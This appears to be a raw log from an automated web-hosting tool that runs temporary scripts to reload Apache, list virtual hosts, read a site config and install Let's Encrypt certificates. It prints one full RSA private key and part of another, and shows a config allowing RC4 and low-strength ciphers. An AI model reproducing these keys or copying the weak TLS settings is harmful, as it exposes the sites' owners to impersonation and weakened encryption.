    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	vote.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/277b862c622fb9fa5d441c9959ff5ee3.crt
    DocumentRoot	/var/www/hopeinstoughton_vote/public
    <Directory /var/www/hopeinstoughton_vote>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
    CustomLog	/var/log/apache2/hopeinstoughton/vote_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/vote_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf= 1'
fi


2025-09-06 06:00:33: 

chmod 755 /tmp/pkp295928; /tmp/pkp295928; rm /tmp/pkp295928

2025-09-06 06:00:33: 




2025-09-06 06:00:33: 

PUT: /tmp/pkp529611

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-09-06 06:00:33: 

chmod 755 /tmp/pkp529611; /tmp/pkp529611; rm /tmp/pkp529611

2025-09-06 06:00:34: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-09-06 06:00:34: Establishing a connection
2025-09-06 06:00:34: 

PUT: /tmp/pkp164916

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-09-06 06:00:34: 

chmod 755 /tmp/pkp164916; /tmp/pkp164916; rm /tmp/pkp164916

2025-09-06 06:00:34: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
         port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
         port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
         port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
         port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
                 alias www.hopeinstoughton.org
         port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
         port 80 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
                 alias www.hostz.org
         port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
                 alias www.kjvdictionary.org
         port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
         port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
         port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
         port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
                 alias www.patientapps.co
         port 80 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:2)
         port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
         port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
         port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
                 alias www.pjy.us
         port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
                 wild alias *.stoughton.link
         port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
         port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
                 alias www.theyoungdesigners.us
*:443                  is a NameVirtualHost
         default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
         port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
         port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
                 alias www.hopeinstoughton.org
         port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
         port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
                 alias www.hostz.org
         port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
                 alias www.kjvdictionary.org
         port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
         port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
         port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
                 alias www.patientapps.co
         port 443 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:19)
         port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
         port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
         port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
                 alias www.pjy.us
         port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
                 wild alias *.stoughton.link
         port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:22)
         port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
                 alias www.theyoungdesigners.us
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-09-06 06:00:34: 

PUT: /tmp/pkp506200

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-09-06 06:00:34: 

chmod 755 /tmp/pkp506200; /tmp/pkp506200; rm /tmp/pkp506200

2025-09-06 06:00:34: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf	1655

<VirtualHost *:80>
    ServerName	vote.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_vote/public
    <Directory /var/www/hopeinstoughton_vote>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/vote_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/vote_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	vote.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/277b862c622fb9fa5d441c9959ff5ee3.crt
    DocumentRoot	/var/www/hopeinstoughton_vote/public
    <Directory /var/www/hopeinstoughton_vote>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
    CustomLog	/var/log/apache2/hopeinstoughton/vote_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/vote_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-09-06 06:00:34: 

PUT: /tmp/pkp547015

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/277b862c622fb9fa5d441c9959ff5ee3.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-09-06 06:00:34: 

chmod 755 /tmp/pkp547015; /tmp/pkp547015; rm /tmp/pkp547015

2025-09-06 06:00:34: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/277b862c622fb9fa5d441c9959ff5ee3.crt	5376
c7:6e:58:27:ca:ab:b1:a4:80:61:de:0c:4b:45:8d:fc

-----BEGIN CERTIFICATE-----
MIIFDDCCA/SgAwIBAgISBZ9yQkfjJga3m9curHklTTxgMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUwOTA2MDUwMjAyWhcNMjUxMjA1MDUwMjAxWjAjMSEwHwYDVQQD
Exh2b3RlLmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQDDENg8L7pxLwaf54HdmDlDfajD/8aZP9b4tgeOwNIu3nRGP93m
GyBojYul4BNLLK7/Yho8BfCTyrjN2cRogJurad6GedseqBWi436B+ZLMUHAiwQXr
D4eZKXoYmsBdAb++Yfi0ptivVgx6XasPE2C2cG+gC/J6MBs7BaBGBu/HTawpzFjk
1DqnI+jyjOHLN4lvKy/N1PkJFjb+y3h24K5B6ftQvi7IPsH0Dzq6srs2S/A1saBe
bGptvesOwN4CqMfz/Oo8/rI+Br1dKqiq5ioJjNOlCf7jdSoAmp7EHjV3Foz18yJv
z1N5YiMhU+znyRDGGX7D3AZSuU0gSIv9ZdkvAgMBAAGjggIoMIICJDAOBgNVHQ8B
Af8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB
/wQCMAAwHQYDVR0OBBYEFI3GKh8j8w1tl9djL4tXhSkSC0RLMB8GA1UdIwQYMBaA
FOernw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcw
AoYXaHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wIwYDVR0RBBwwGoIYdm90ZS5ob3Bl
aW5zdG91Z2h0b24ub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUw
I6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvOTcuY3JsMIIBBAYKKwYBBAHW
eQIEAgSB9QSB8gDwAHYA7TxL1ugGwqSiAFfbyyTiOAHfUS/txIbFcA8g3bc+P+AA
AAGZHZyz5gAABAMARzBFAiEAgHp+ErC16ODG0OUSHp0w/wpe5B6G1yw8npXJQXnj
W4MCIFrxiAuwIKzYRFOSO2POmYRZQi+GzDqGwE3hPcDs0Y0ZAHYAEvFONL1TckyE
BhnDjz96E/jntWKHiJxtMAWE6+WGJjoAAAGZHZyz6AAABAMARzBFAiEAp+N2dC46
Zgy43xf8o6Oy+M25EfoaBOp1DAgIbwGAEJQCIAQiUy6YCF6rrvvQShxkN+9rcAls
qOZecJLvGwXZvWfwMA0GCSqGSIb3DQEBCwUAA4IBAQCgZLqaVMYUe+ZkwsbyFFAZ
yrw8xLnorHNs7tuASzbQoQjMGgdFA8MuYtfcZewycM4z6nWW2wk2L42m9BNuaYc6
8ULqAGnDJ3xx1h8pwc1psOqStxK4gYGhe86x3npqHCTZ6zWjtbVDKFp6Z8dS0VD+
+brta/nVwDArio4C1C0BXVwM5P6LXc5OhGumGHMDg3TcYzYnQalsevG0vBAfAq5s
TGbytylKrypuDGZ03RtqFQJ5z3vF8P9vJvRS7w9PmxviVoV4alrvVkUKeFQLjLq1
7+noCJL24K2bhyPV9UyzXcJlIeoR8NLoYbiFCJkHSRhwAGuNMeGRndukRQGsLlAJ
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDDENg8L7pxLwaf
54HdmDlDfajD/8aZP9b4tgeOwNIu3nRGP93mGyBojYul4BNLLK7/Yho8BfCTyrjN
2cRogJurad6GedseqBWi436B+ZLMUHAiwQXrD4eZKXoYmsBdAb++Yfi0ptivVgx6
XasPE2C2cG+gC/J6MBs7BaBGBu/HTawpzFjk1DqnI+jyjOHLN4lvKy/N1PkJFjb+
y3h24K5B6ftQvi7IPsH0Dzq6srs2S/A1saBebGptvesOwN4CqMfz/Oo8/rI+Br1d
Kqiq5ioJjNOlCf7jdSoAmp7EHjV3Foz18yJvz1N5YiMhU+znyRDGGX7D3AZSuU0g
SIv9ZdkvAgMBAAECggEBAKpKQUvBqvT2RcVA+Ol3473crIF3AGx3A/eaCd0Azjym
bUGKrfAdDFzZ/OixRoahGqDOhvKRiOWs20qx6roEVGH/iYlCRh1sRX8vNRjIxPPi
4RImCkGcDBeU0wc5yecoCLlulA05fv8Kktgcf6Iom4yJeZlx9Jvg9VTAY5veoGMP
EB56zwQIKy8d5xSouSMZ2w7ihW/xfbGrDzc1VluuaUazwzOlOXgn/aOvtP0P2Pki
NoEVcXYKSKr4Wp80ABgWYNWu9z/e1DzNSco0k9gsVCBye8uC95ZJlugJI/Gklff9
PDJxKi8doslTiYyzWfN3VSMc4L4TmSO/m2VADFV7A1kCgYEA654pSCIicYCfHEcz
7BBJqS4Nq/tT5W7nc3mBHLT/ItnTMF//TVBOgSXL33OHsVKh90c4jOxT3SIlCLfb
ztw2YW6yZHvRtge0ZAr2stu2/Ovcn7kBEn5bkY0fZPsOqJynYYWlgDMbgfbk/tTQ
4gMIhJsxLOxV0ZteIvXYpvg1bW0CgYEA0/ClE6f/rVAyyjJnBjAvB1FmYFnM2p5j
yqpOOxbBKIPW+k0es6lJKHYb+lWYO/6z27LAfuBfDJJP7dq03Oj3DC8/SYvduAST
g1NYx9tz3haVovdEVeKAchfDP1tsiomQySvGSTl32NWsRt0GhwtH5hAdNF0xtDGC
5Kn0P3hWy4sCgYAnW0TkAqekM+rf61jV7qaPNt0bxCBwa4UHud0CMY2IgcAQDYj0
nhxu4CRcz8xzpyzcxC3DBFrBzklHWobB1/DRd48ez7vo3wKXz2kD2UWIm9E/cMSo
FSkwd9Utpe395iTjWlKZxm+q1tXLZzr49a6/j7i4G0X+fChOSKiGw2ERRQKBgQCt
lta+aMWDgMJ41huH+AMs7UD6/dJJ5Z06q47z2slOk92KmYvh/2/KUiLMQTs1OIK8
GYaM5N01AMmyuYWVwsJGGpSten+ZbzYbRDLdTyNx7fGVzw0Lgz9NM6VZyVn3hoEu
JEp+QzGkSi6WxAXKqjSzfNNOxl4lhr/85i8FpV0BzQKBgQDOwqh7sg/VfQrpxTqW
6TSYL+GsG9P063KElyj90ybCmCDM+Gl4g1xirkKy7rX380OiMfPPKdn239HYroug
WU/UXXS8Lnf6kR2glUR3e174yWCUyKQDRCRnDLmwa8I0oqMnjB3HoYyq+sbLTzOG
ttAI8+X++Y+BRSPPpwzalk0j2Q==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2025-09-06 06:00:34: Establishing a connection
2025-09-06 06:00:34: Establishing a connection
2025-09-06 06:00:34: 

PUT: /tmp/pkp835819

#!/bin/bash
if [ -d "/var/www/r-b-c_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-09-06 06:00:35: 

chmod 755 /tmp/pkp835819; /tmp/pkp835819; rm /tmp/pkp835819

2025-09-06 06:00:35: 


1


2025-09-06 06:00:36: Establishing a connection
2025-09-06 06:00:36: 

PUT: /tmp/pkp916603

#!/bin/bash
mkdir -p "/var/www/r-b-c_www/.well-known/acme-challenge/"
cd "/var/www/r-b-c_www/.well-known/acme-challenge/"
cat > KXzSrwh0A_uAL2nE0b24cXFcGzji2zxZR0tGSVBKtT8 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
KXzSrwh0A_uAL2nE0b24cXFcGzji2zxZR0tGSVBKtT8.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 KXzSrwh0A_uAL2nE0b24cXFcGzji2zxZR0tGSVBKtT8
cat > wvlBqwM17341ZdS8v8MqfXsTPQRhMewiAmP8fmq2HZ8 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
wvlBqwM17341ZdS8v8MqfXsTPQRhMewiAmP8fmq2HZ8.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 wvlBqwM17341ZdS8v8MqfXsTPQRhMewiAmP8fmq2HZ8


2025-09-06 06:00:36: 

chmod 755 /tmp/pkp916603; /tmp/pkp916603; rm /tmp/pkp916603

2025-09-06 06:00:36: 




2025-09-06 06:00:46: Establishing a connection
2025-09-06 06:00:46: 

PUT: /tmp/pkp424842

#!/bin/bash
mkdir -p "/var/www/r-b-c_www/.well-known/acme-challenge/"
cd "/var/www/r-b-c_www/.well-known/acme-challenge/"
rm KXzSrwh0A_uAL2nE0b24cXFcGzji2zxZR0tGSVBKtT8
rm wvlBqwM17341ZdS8v8MqfXsTPQRhMewiAmP8fmq2HZ8


2025-09-06 06:00:46: 

chmod 755 /tmp/pkp424842; /tmp/pkp424842; rm /tmp/pkp424842

2025-09-06 06:00:46: 




2025-09-06 06:00:46: Establishing a connection
2025-09-06 06:00:46: 

PUT: /tmp/pkp288619

#!/bin/bash
temp_file=$(mktemp)
TARGET=86d2c41eb90f4cb26f05730c2abdf7ea.crt

cat > $temp_file <<'endmsg'
ab:ef:f5:0d:50:72:72:98:3f:5d:82:a7:75:51:8f:b5

-----BEGIN CERTIFICATE-----
MIIE/jCCA+agAwIBAgISBeVWDfDFfgepMdwM12vYrZCZMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwOTA2MDUwMjEzWhcNMjUxMjA1MDUwMjEyWjAUMRIwEAYDVQQD
EwlyLWItYy5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCwc98N
yp5Jws6oz657OP6NgE7BjmxFnHu5LVDM5W6maHLsI1TcuwknYVALDyI8dzlkHb1j
XtO8+dJi248Ihl4XRfONRg4zKu8+0OmgdS3Pcd6hj5ZIpi6++9N8Xr2vl31p9fqQ
2SQIG752QY9ABTV9I+w6ekvPTOaB1hzuoAqoH8Ph8N0ghEwGHRuXoDAXdn0XYmgS
dDPcLFmfusimBJhbOz557GY+il1FJyHLBg1bq6QrqPdc4NeJj0tbllbhC6vfWF0Z
x3LK7mUgSuDESj3qTosRwVRord9XxrJilWFewVCVwEZRZBxN2pHzX0nnAJnfKH8L
e13uAvOEG7tXsDWrAgMBAAGjggIpMIICJTAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0l
BBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYE
FMyLtv3CuK4DziSx7PhUYqL44UlyMB8GA1UdIwQYMBaAFAC1KfItjm8x6JtMrXg+
+tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3IxMi5p
LmxlbmNyLm9yZy8wIwYDVR0RBBwwGoIJci1iLWMub3Jngg13d3cuci1iLWMub3Jn
MBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9y
MTIuYy5sZW5jci5vcmcvMjYuY3JsMIIBBQYKKwYBBAHWeQIEAgSB9gSB8wDxAHYA
7TxL1ugGwqSiAFfbyyTiOAHfUS/txIbFcA8g3bc+P+AAAAGZHZzdWwAABAMARzBF
AiEAuL0zVBxmeVyv6PCxxxUdYfGQMYSi5k+Er1wf1emo6z4CIFWba770f4uShjtB
vYe23jUneIFXhiBrpFOdHRJ1STpUAHcA3dzKNJXX4RYF55Uy+sef+D0cUN/bADoU
EnYKLKy7yCoAAAGZHZzldwAABAMASDBGAiEAmwKcsGD2JiWWaIb6grlQupxdZkXU
LDMP5X4bWzELhO4CIQC6LwzW3fgLyiljgKZksNpyFcsFpAc8QJM/qwB4ULwCwDAN
BgkqhkiG9w0BAQsFAAOCAQEAllQx8J9+FEnKTnZh/Ug+7RSpvASSheP8g9NZz0vm
abakYUfy5vNrfriwMXizRJe41pvHUwrAkvZx2VISFuVD67ADDWgPJRvB847LERdM
nDDpnX29GT+D5JiMkbs4aE1qAfEwj5L1/LWbNWX0NTbjAuC1Yv+ObGitCxjMZCYU
IwK1ETqmX+4DNZCeqzessIMFsPT8T4hi7izXxmZiY9s38PSlAqzsuh+AlRaxckA9
sFCb25psd02XI+tLNp0FqRkiP2KFO5NReJ4kIOIkHnWFG0aNY1ptBgdbfQjxtpE/
j6siWf5IHoIk/CsLMXZF/NwIppXx6E8g8Eej59yba/6Zcg==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQCwc98Nyp5Jws6o
z657OP6NgE7BjmxFnHu5LVDM5W6maHLsI1TcuwknYVALDyI8dzlkHb1jXtO8+dJi
248Ihl4XRfONRg4zKu8+0OmgdS3Pcd6hj5ZIpi6++9N8Xr2vl31p9fqQ2SQIG752
QY9ABTV9I+w6ekvPTOaB1hzuoAqoH8Ph8N0ghEwGHRuXoDAXdn0XYmgSdDPcLFmf
usimBJhbOz557GY+il1FJyHLBg1bq6QrqPdc4NeJj0tbllbhC6vfWF0Zx3LK7mUg
SuDESj3qTosRwVRord9XxrJilWFewVCVwEZRZBxN2pHzX0nnAJnfKH8Le13uAvOE
G7tXsDWrAgMBAAECggEAetB7jQ7dM3vK+YZr7EpUKssGhgQKaj0rhEz9M0/xvxNu
AdvpoiTwjx9VZg0niCx3nq5wdmy3NY4wmCw3lvhnHw3KIieDlKuqj+863TsSIpQg
IBVfxbsdSELhBWyv3Dq1yP2zZAQu5xHgdFDXUvkNLMfHEUCz6VqeCfqsco6kPDWP
